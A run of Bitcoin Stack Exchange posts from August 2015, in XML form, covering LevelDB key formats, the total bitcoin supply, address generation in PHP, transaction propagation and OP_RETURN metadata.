  <row Id="38987" PostTypeId="2" ParentId="38655" CreationDate="2015-08-06T14:53:21.893" Score="2" Body="&lt;p&gt;Bitpay's &lt;a href=&quot;https://github.com/bitpay/bitcore-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcore-node&lt;/a&gt; project uses the same datadirectory as Bitcoin Core. You can see this in their sample configuration in their README:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var configuration = {&#xA;    datadir: '~/.bitcoin',&#xA;    network: 'testnet'&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As such, the you can see: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28168/what-are-the-keys-used-in-the-blockchain-leveldb-ie-what-are-the-keyvalue-pair&quot;&gt;What are the keys used in the blockchain levelDB (ie what are the key:value pairs)?&lt;/a&gt; for information on what is in this database. However, bitcore-node does provide another interface for storing extra data about addresses and their balances. This is defined in &lt;a href=&quot;https://github.com/bitpay/bitcore-node/blob/v0.2.0/lib/modules/address.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;this file&lt;/a&gt;. You have to enable this in your configuration and re-index the blockchain to enable this module, as their README details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitpay/bitcore-node/blob/v0.2.0/lib/modules/address.js#L103-L110&quot; rel=&quot;nofollow noreferrer&quot;&gt;As these lines show&lt;/a&gt;, for each output, key-value pairs are added to the leveldb database in this format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key:   [AddressModule.PREFIXES.OUTPUTS, address, timestamp, txid, outputIndex].join('-'),&#xA;value: [output.satoshis, script, height].join(':')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, similarly for inputs, this is the format of the key-value pairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key: [AddressModule.PREFIXES.SPENTS, input.prevTxId, input.outputIndex].join('-'),&#xA;value: [txid, j].join(':')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-08-06T14:53:21.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38988" PostTypeId="1" AcceptedAnswerId="39112" CreationDate="2015-08-06T15:39:02.433" Score="0" ViewCount="736" Body="&lt;p&gt;I have a bunch of bitcoin addresses and I would like to just use them for receiving counterparty tokens. I've read that counterparty addresses are the same thing as a Bitcoin address. Is this correct? And if so, doesnt this mean every Bitcoin address can effectively receive counterparty tokens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also can't seem to find an option to import an existing Bitcoin address into the counterwallet website. I was only able to find an import sweep option. screenshot would be nice.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="121614" LastEditDate="2022-10-18T20:15:59.753" LastActivityDate="2022-10-18T20:15:59.753" Title="Can you use any Bitcoin address as a Counterparty token receiving address?" Tags="|wallet|address|colored-coins|counterparty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38992" PostTypeId="1" CreationDate="2015-08-06T18:58:54.680" Score="0" ViewCount="2625" Body="&lt;p&gt;I created my first wallet using bitaddress.org and put some money in it, which I am not able to spend, since this wallet doesn't have that function. &#xA;So I decided to import this wallet to blockchain wallet. &#xA;The problem is when i try to access blockchain wallet section through Tor it shows me a page with the following error message - Quota Exceeded (Req Count Limit).&#xA;Can someone help. Do you have any suggestions why I get this?&#xA;At this moment all my bitcoins are stuck into my bitaddress wallet and I cannot use them.&lt;/p&gt;&#xA;" OwnerUserId="27806" LastEditorUserId="14887" LastEditDate="2015-08-31T06:32:18.170" LastActivityDate="2020-06-30T08:46:15.877" Title="Cannot access blockchain.info through Tor browser?" Tags="|blockchain.info|bitaddress.org|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38993" PostTypeId="1" AcceptedAnswerId="38997" CreationDate="2015-08-06T22:23:31.573" Score="2" ViewCount="97" Body="&lt;p&gt;I apologise for my rather ignorant question and maybe my question is completely wrong. But my impression about one of the advantages of bitcoin (digital currencies) is that when a customer pays a client, that payment gateway does not need to be over a secure protocol merely because of the way the bitcoin works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is true, can I have a more technical explanation of why this is the case?&lt;/p&gt;&#xA;" OwnerUserId="27809" LastActivityDate="2015-08-06T23:45:21.230" Title="Why does an exchange of bitcoin transaction not need to be over a secure connection?" Tags="|transactions|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38994" PostTypeId="1" AcceptedAnswerId="38998" CreationDate="2015-08-06T22:48:08.033" Score="64" ViewCount="21487" Body="&lt;p&gt;Every &lt;code&gt;x&lt;/code&gt; blocks the mining reward is halved. Will the reward be halved forever such that we never quite reach 21 million bitcoins, or will we reach 21 million bitcoins at some point and will the reward cease to exist altogether?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra points for pointing to the relevant code!&lt;/p&gt;&#xA;" OwnerUserId="6888" LastEditorUserId="5406" LastEditDate="2015-08-10T14:29:59.603" LastActivityDate="2022-05-27T19:41:16.030" Title="Will there be 21 million bitcoins eventually?" Tags="|reward-schedule|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38996" PostTypeId="2" ParentId="38994" CreationDate="2015-08-06T23:33:35.623" Score="25" Body="&lt;p&gt;Neither. The reward eventually ceases, but not at 21 million Bitcoins.&lt;/p&gt;&#xA;&lt;p&gt;Here's the code (edited for clarity and brevity):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int halvings = nHeight / 210000;&#xA;CAmount nSubsidy = 50 * COIN; // COIN is one Bitcoin&#xA;// Subsidy is cut in half every 210,000 blocks which will occur approximately every 4 years.&#xA;return nSubsidy &amp;gt;&amp;gt; halvings;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/a0625b8085aa379ac5f7bdca6f2cbf3cbb4a5d0a/src/main.cpp#L1093&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Source.)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that it cuts the reward in half using the bit-shift operator, which means that eventually it won't be able to reduce the block reward by exactly half. So how many Bitcoins does it end up making in total?&lt;/p&gt;&#xA;&lt;p&gt;20,999,999.9769 BTC, or 2,310,000 satoshis short of 21 million. (If you want to be a lot of fun at parties, bring this up whenever someone says that the maximum number of Bitcoins is 21 million.)&lt;/p&gt;&#xA;&lt;p&gt;Then there are the various Bitcoins that aren't spendable due to various quirks of the Bitcoin protocol, like the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10009/why-can-t-the-genesis-block-coinbase-be-spent&quot;&gt;genesis block coinbase&lt;/a&gt;, or the &lt;a href=&quot;https://web.archive.org/web/20150511232412/http://blockexplorer.com/block/00000000000743f190a18c5577a3c2d2a1f610ae9601ac046a38084ccb7cd721&quot; rel=&quot;nofollow noreferrer&quot;&gt;duplicated coinbase&lt;/a&gt;. [Edit: Or the many other instances of unspendable Bitcoins that Pieter mentions in his answer.]&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="126793" LastEditDate="2022-05-19T18:51:00.163" LastActivityDate="2022-05-19T18:51:00.163" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="38997" PostTypeId="2" ParentId="38993" CreationDate="2015-08-06T23:45:21.230" Score="2" Body="&lt;p&gt;Conventional banking relies on you and your bank both knowing some sort of secret, like a PIN or your mother's maiden name. This requires encryption, because otherwise someone listening in on the connection can capture the information and impersonate you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses only public key cryptography to identify accounts. It is possible to prove that the creator of a transaction had access to a private key without revealing what that private key is. See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32305/how-does-the-ecdsa-verification-algorithm-work-during-transaction&quot;&gt;How does the ECDSA verification algorithm work during transaction?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, although Bitcoin connections are usually not encrypted, there are circumstances where they probably should be, like if you want to make sure that the administrator of the local network doesn't know which Bitcoins you're spending.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-08-06T23:45:21.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38998" PostTypeId="2" ParentId="38994" CreationDate="2015-08-07T00:00:43.413" Score="155" Body="&lt;p&gt;People say the total will be &lt;strong&gt;21000000&lt;/strong&gt; BTC.&lt;/p&gt;&#xA;&lt;p&gt;... however:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The 1st 210000 blocks each allow creating 50 BTC.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The 2nd 210000 blocks each allow creating 25 BTC.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The 3rd 210000 blocks each allow creating 12.5 BTC.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The 10th 210000 blocks each allow creating 0.09765625 BTC.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The 11th 210000 blocks each allow creating 0.04882812 BTC, and not 0.048828125 BTC, because only 8 decimals of precision are supported.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The 33rd 210000 blocks each allow creating 0.00000001 BTC.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;After that, the reward is 0.&lt;/p&gt;&#xA;&lt;p&gt;If you sum all these numbers together, you get &lt;strong&gt;20999999.9769&lt;/strong&gt; BTC.&lt;/p&gt;&#xA;&lt;p&gt;... however, either due to an oversight or intentionally, the coins created in the genesis block cannot be spent.&lt;/p&gt;&#xA;&lt;p&gt;This leaves us with &lt;strong&gt;20999949.9769&lt;/strong&gt; BTC.&lt;/p&gt;&#xA;&lt;p&gt;... however, due to an early problem in Bitcoin, fixed by BIP30, it was possible to create a coinbase transaction identical to a previous coinbase. This caused the coins created by that older coinbase to be irreversibly &amp;quot;overwritten&amp;quot;. This happened in block 91842 (overwriting the coinbase of block 91812) and 91880 (overwriting the coinbase of block 91722). Each time, 50 BTC was lost.&lt;/p&gt;&#xA;&lt;p&gt;This leaves us with &lt;strong&gt;20999849.9769&lt;/strong&gt; BTC.&lt;/p&gt;&#xA;&lt;p&gt;... however, the protocol rules allow creating &lt;em&gt;up to&lt;/em&gt; the amounts listed above. Due to various bugs and miners experimenting with code, some blocks claim less than allowed. Those coins can never be recovered.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Block &lt;a href=&quot;https://bitcointalk.org/index.php?topic=7253.msg184414#msg184414&quot; rel=&quot;noreferrer&quot;&gt;124724&lt;/a&gt; tried to intentionally claim 0.00000001 BTC less than allowed, but accidentally also failed to claim the fees, losing 0.01000001 BTC.&lt;/li&gt;&#xA;&lt;li&gt;Between block 162705 and block 169899, 193 blocks claimed less than allowed due to a bug, resulting in a total loss of 9.66184623 BTC.&lt;/li&gt;&#xA;&lt;li&gt;Between block 180324 and block 249185, another 836 blocks claimed less than allowed, resulting in a total loss of 0.52584193 BTC.&lt;/li&gt;&#xA;&lt;li&gt;Block 501726 had no transaction outputs (except a 0-value commitment), losing the entire 12.5 BTC subsidy.&lt;/li&gt;&#xA;&lt;li&gt;Block 526591 didn't claim half of the block reward, losing 6.25 BTC.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This leaves us with &lt;strong&gt;20999821.02921183&lt;/strong&gt; BTC.&lt;/p&gt;&#xA;&lt;p&gt;... however, since recently there is a concept of provably unspendable coins. Coins can be sent to an &amp;quot;address&amp;quot; which provably burns them (using OP_RETURN). Bitcoin Core tracks these and removes them from its database, so they are easily accounted for. At least 3.71612692 BTC were burned this way.&lt;/p&gt;&#xA;&lt;p&gt;This leaves us with &lt;strong&gt;20999817.31308491&lt;/strong&gt; BTC (taking everything up to block 528333 into account)&lt;/p&gt;&#xA;&lt;p&gt;... However, various wallets have been lost or stolen, transactions have been sent to the wrong address, people forgot they owned bitcoin. The totals of this may well be millions. People have tried to tally known losses up &lt;a href=&quot;https://bitcointalk.org/index.php?topic=7253.0&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin-supply.com/&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoin-supply.com/&lt;/a&gt; tracks provably lost bitcoin through publicly available logic.&lt;/p&gt;&#xA;&lt;p&gt;As of 15 March 2022 they tracked &lt;strong&gt;2,823.43062071&lt;/strong&gt; BTC lost&lt;/p&gt;&#xA;&lt;p&gt;This leaves us with: &lt;strong&gt;???&lt;/strong&gt; BTC.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="133053" LastEditDate="2022-05-27T19:41:16.030" LastActivityDate="2022-05-27T19:41:16.030" CommentCount="17" ContentLicense="CC BY-SA 4.0" />
  <row Id="38999" PostTypeId="1" AcceptedAnswerId="43330" CreationDate="2015-08-07T01:10:32.273" Score="0" ViewCount="1510" Body="&lt;p&gt;this is the code i got,how i can generated new random address using 1 pubkey,everytime page refresh;i try to use timestamp but din't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// step 1&#xA;&#xA;$publickey='0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6';&#xA;&#xA;$step1=hexStringToByteString($publickey);&#xA;&#xA;echo &quot;step1 &quot;.$publickey.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// step 2&#xA;&#xA;$step2=hash(&quot;sha256&quot;,$step1);&#xA;echo &quot;step2 &quot;.$step2.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// step 3&#xA;&#xA;$step3=hash('ripemd160',hexStringToByteString($step2));&#xA;echo &quot;step3 &quot;.$step3.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// step 4&#xA;&#xA;$step4=&quot;00&quot;.$step3;&#xA;echo &quot;step4 &quot;.$step4.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// step 5&#xA;&#xA;$step5=hash(&quot;sha256&quot;,hexStringToByteString($step4));&#xA;echo &quot;step5 &quot;.$step5.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// step 6&#xA;&#xA;$step6=hash(&quot;sha256&quot;,hexStringToByteString($step5));&#xA;echo &quot;step6 &quot;.$step6.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// step 7&#xA;&#xA;$checksum=substr($step6,0,8);&#xA;echo &quot;step7 &quot;.$checksum.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// step 8&#xA;&#xA;$step8=$step4.$checksum;&#xA;echo &quot;step8 &quot;.$step8.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// step 9&#xA;// base conversion is from hex to base58 via decimal. &#xA;// Leading hex zero converts to 1 in base58 but it is dropped&#xA;// in the intermediate decimal stage.  Simply added back manually.&#xA;&#xA;$step9=&quot;1&quot;.bc_base58_encode(bc_hexdec($step8));&#xA;echo &quot;step9 &quot;.$step9.&quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;&#xA;function hexStringToByteString($hexString){&#xA;    $len=strlen($hexString);&#xA;&#xA;    $byteString=&quot;&quot;;&#xA;    for ($i=0;$i&amp;lt;$len;$i=$i+2){&#xA;        $charnum=hexdec(substr($hexString,$i,2));&#xA;        $byteString.=chr($charnum);&#xA;    }&#xA;&#xA;return $byteString;&#xA;}&#xA;&#xA;// BCmath version for huge numbers&#xA;function bc_arb_encode($num, $basestr) {&#xA;    if( ! function_exists('bcadd') ) {&#xA;        Throw new Exception('You need the BCmath extension.');&#xA;    }&#xA;&#xA;    $base = strlen($basestr);&#xA;    $rep = '';&#xA;&#xA;    while( true ){&#xA;        if( strlen($num) &amp;lt; 2 ) {&#xA;            if( intval($num) &amp;lt;= 0 ) {&#xA;                break;&#xA;            }&#xA;        }&#xA;        $rem = bcmod($num, $base);&#xA;        $rep = $basestr[intval($rem)] . $rep;&#xA;        $num = bcdiv(bcsub($num, $rem), $base);&#xA;    }&#xA;    return $rep;&#xA;}&#xA;&#xA;function bc_arb_decode($num, $basestr) {&#xA;    if( ! function_exists('bcadd') ) {&#xA;        Throw new Exception('You need the BCmath extension.');&#xA;    }&#xA;&#xA;    $base = strlen($basestr);&#xA;    $dec = '0';&#xA;&#xA;    $num_arr = str_split((string)$num);&#xA;    $cnt = strlen($num);&#xA;    for($i=0; $i &amp;lt; $cnt; $i++) {&#xA;        $pos = strpos($basestr, $num_arr[$i]);&#xA;        if( $pos === false ) {&#xA;            Throw new Exception(sprintf('Unknown character %s at offset %d', $num_arr[$i], $i));&#xA;        }&#xA;        $dec = bcadd(bcmul($dec, $base), $pos);&#xA;    }&#xA;    return $dec;&#xA;}&#xA;&#xA;&#xA;// base 58 alias&#xA;function bc_base58_encode($num) {   &#xA;    return bc_arb_encode($num, '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz');&#xA;}&#xA;function bc_base58_decode($num) {&#xA;    return bc_arb_decode($num, '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz');&#xA;}&#xA;&#xA;//hexdec with BCmath&#xA;function bc_hexdec($num) {&#xA;    return bc_arb_decode(strtolower($num), '0123456789abcdef');&#xA;}&#xA;function bc_dechex($num) {&#xA;    return bc_arb_encode($num, '0123456789abcdef');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24647" LastActivityDate="2016-03-13T13:43:50.793" Title="how i can make bitcoin address generator like mycelium gear using php script" Tags="|php|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39000" PostTypeId="2" ParentId="11592" CreationDate="2015-08-07T01:38:53.060" Score="0" Body="&lt;p&gt;You can download the complete blockchain at &lt;a href=&quot;https://flo.sh/bitcoin-qt-bootstrap-dat/&quot; rel=&quot;nofollow&quot;&gt;https://flo.sh/bitcoin-qt-bootstrap-dat/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you follow the steps described the initial startup of Bitcoin-Qt should work significally faster :)&lt;/p&gt;&#xA;" OwnerUserId="27811" LastActivityDate="2015-08-07T01:38:53.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39001" PostTypeId="1" AcceptedAnswerId="39002" CreationDate="2015-08-07T03:17:06.580" Score="2" ViewCount="382" Body="&lt;p&gt;Considering that,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;waiting &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7323/how-long-does-it-take-on-average-to-receive-one-confirmation-is-it-still-revers&quot;&gt;10 minutes for confirmation&lt;/a&gt; is too long in the retail world;&lt;/li&gt;&#xA;&lt;li&gt;&quot;zero confirmations&quot; will become more risky once bitcoin popularity is high enough and people come up with services (automatic scripts) that try to do massive double spending,&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;why should retailers consider bitcoin over other cryptocurrencies that have shorter confirmation time, and therefore less potential risk?&lt;/p&gt;&#xA;" OwnerUserId="24422" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-08-02T06:13:36.293" Title="Why should retailers prefer bitcoin over other cryptocurrencies that have shorter confirmation time?" Tags="|currencies|adoption|retail|face-to-face-payment|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39002" PostTypeId="2" ParentId="39001" CreationDate="2015-08-07T09:07:21.423" Score="2" Body="&lt;p&gt;Bitcoin is the incumbent in the space with a strong lead. It is not feasible to create faster blocks than about 60 seconds (as short block intervals create a host of other problems). 60 seconds however, is still way too long to wait at a cash register for a payment to confirm, and would be incompatible with current checkout processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Confirmation times cannot be short enough in another crypto currency to make waiting for confirmations feasible.&lt;/li&gt;&#xA;&lt;li&gt;There are payment processors in Bitcoin that assume the risk of accepting zero confirmation transactions, while this is much less common in other cryptocurrencies. The risk is somewhat calculable, by assessing priority and other features of the transaction.&lt;/li&gt;&#xA;&lt;li&gt;Retail payments is not where Bitcoin will break into mainstream, as it is the area where it has the least advantages.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So:&#xA;Right now, zero confirmation payments are possible through payment processors. Later, when &quot;Bitcoin's popularity is high enough and people come up with services that try to do massive double spending&quot;, other services will be made use of to curb it. If and when this becomes a huge problem, e.g. multi-signature payments could be used more to change incentives.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-08-11T17:12:14.280" LastActivityDate="2015-08-11T17:12:14.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39003" PostTypeId="2" ParentId="39001" CreationDate="2015-08-07T11:06:36.007" Score="0" Body="&lt;p&gt;Because retailers (and everyone else) care about getting their money first (not getting scammed) and about speed second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that security is what matters. Anything less than 10 minutes reduces the security of a blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason why altcoins fail as a valid alternative is that absolute security depends on the total speed of all miners combined and therefore the size and value (market cap) of the network. Bitcoin had the network effect causing altcoins to remain insignificant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to despair though, Lightning Network will allow instant zero trust transactions. Maintaining the security of the bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-08-07T11:06:36.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39004" PostTypeId="2" ParentId="5297" CreationDate="2015-08-07T15:26:18.777" Score="0" Body="&lt;p&gt;This post might clarify what it is about: &lt;a href=&quot;http://www.toptal.com/bitcoin/cryptocurrency-for-dummies-bitcoin-and-beyond/#remote-developer-job&quot; rel=&quot;nofollow&quot;&gt;Cryptocurrency for Dummies: Bitcoin and Beyond&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27823" LastActivityDate="2015-08-07T15:26:18.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39005" PostTypeId="1" AcceptedAnswerId="39009" CreationDate="2015-08-07T15:31:03.170" Score="0" ViewCount="73" Body="&lt;p&gt;Would it be possible for a client (eg the core client) to leave its mark in the form of META data on the blockchain or even in the mempool so that we know that this client was used to create or send that transaction? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very similar to what web browsers do (for example this website tells you all about your browser by reading some META info: &lt;a href=&quot;https://www.whatismybrowser.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.whatismybrowser.com/&lt;/a&gt;)? &lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2015-08-07T17:38:52.053" Title="Can a client leave its mark on the blockchain?" Tags="|blockchain|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39006" PostTypeId="1" AcceptedAnswerId="49246" CreationDate="2015-08-07T16:18:34.293" Score="1" ViewCount="643" Body="&lt;p&gt;I sent some coins to an address and would like to track how these coins are flowing into other wallets. Is there a service that shows this visually? My main point is that I want to know if these coins were sent to a flagged or known  address at some endpoint. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently blockchain.info i can only see 1 address at a time. It would be great if there was a graphical tool that shows how the coins get dispersed and spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious as I sent some coins from coinbase to an address and I don't want to get my coinbase account banned if someone else down the line is using it to buy stuff on the dark market. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-10-27T17:54:18.127" Title="Is there a service that can track how a coin flows from one wallet to another visually?" Tags="|transactions|blockchain|traceability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39007" PostTypeId="1" CreationDate="2015-08-07T16:56:07.493" Score="5" ViewCount="436" Body="&lt;p&gt;It seems like miners would have an incentive not to propagate transactions that came their way. Not propagating would both save them a bit of network use and make it more likely that they would claim the fees from those transactions. Am I missing something, or is it just that a sufficient number of miners are charitable?&lt;/p&gt;&#xA;" OwnerUserId="27825" LastActivityDate="2015-08-08T02:15:00.720" Title="Why do transactions propagate?" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39008" PostTypeId="2" ParentId="39007" CreationDate="2015-08-07T17:18:40.943" Score="2" Body="&lt;p&gt;It's true, there is a bit of a &lt;a href=&quot;https://en.bitcoin.it/wiki/Tragedy_of_the_Commons&quot; rel=&quot;nofollow&quot;&gt;Tragedy of the Commons&lt;/a&gt; going on here. All miners want transaction to be propagated to them so they can include them and get the fees, but why would they expend their own bandwidth to help others hear about those transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, though, miners are not the only ones on the network. There are currently almost &lt;a href=&quot;https://getaddr.bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;6,000 reachable full nodes&lt;/a&gt; on the network, and a small subset of these are actually miners. So, even if all the miners stopped propagating transactions (they still have to propagate their solved blocks to get paid), information would still spread fairly quickly throughout the network.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-08-07T17:18:40.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39009" PostTypeId="2" ParentId="39005" CreationDate="2015-08-07T17:38:52.053" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/29554/explanation-of-what-an-op-return-transaction-looks-like&quot;&gt;&lt;code&gt;OP_RETURN&lt;/code&gt;&lt;/a&gt; feature can be used to accompany a transaction with arbitrary data.  A standard transaction can contain an &lt;code&gt;OP_RETURN&lt;/code&gt; output with up to 80 bytes of data (40 bytes prior to Bitcoin Core 0.11).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have a client that includes an &lt;code&gt;OP_RETURN&lt;/code&gt; output with every transaction, containing whatever meta data is desired (client software version, info about client settings, friendly greetings, Bible verses, etc).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since this would make each transaction larger, the users of this client software would on average pay higher transaction fees (depending on how often the extra data pushes your transaction past a 1 KB boundary, since the fee is per KB).  Also, since every full node has to store the extra data forever, some people might consider this feature to be &quot;unfriendly&quot; to the block chain, even though it is legal in the protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given these tradeoffs, one would probably not implement such a feature without a pretty compelling reason to do so, beyond simple curiosity.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-08-07T17:38:52.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39010" PostTypeId="2" ParentId="39007" CreationDate="2015-08-07T20:26:20.313" Score="2" Body="&lt;p&gt;If you mine a transaction into your block that isn't widely known by the network, your block will take slightly longer to propagate. One very simple way of encouraging a transaction to be widely known is to relay it to your peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the actual reason is that it's the default in Bitcoin-Qt, and we're talking about pennies of bandwidth. If, by default, miners didn't propagate transactions, I think very few people would bother to change that.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="18196" LastEditDate="2015-08-08T02:15:00.720" LastActivityDate="2015-08-08T02:15:00.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39012" PostTypeId="1" AcceptedAnswerId="39030" CreationDate="2015-08-08T10:26:56.713" Score="0" ViewCount="143" Body="&lt;p&gt;Does the getblock(hash) RPC call always return a &quot;previousblockhash&quot; field and if not: under what conditions does it not return this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: many algorithms suggest using this field as a way to step back in the blockchain when an orphan or reorganization occurs but the C++ code would indicate this field isn't always present.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (blockindex-&amp;gt;pprev)&#xA;        result.push_back(Pair(&quot;previousblockhash&quot;, blockindex-&amp;gt;pprev-&amp;gt;GetBlockHash().GetHex()));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would that be due to chain reorganizations and orphans? Can anyone explain what dynamics would make this check fail and what the next step would be if it does?&lt;/p&gt;&#xA;" OwnerUserId="24780" LastActivityDate="2015-08-10T11:00:23.973" Title="Is &quot;previousblockhash&quot; always returned from getblock RPC calls?" Tags="|json-rpc|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
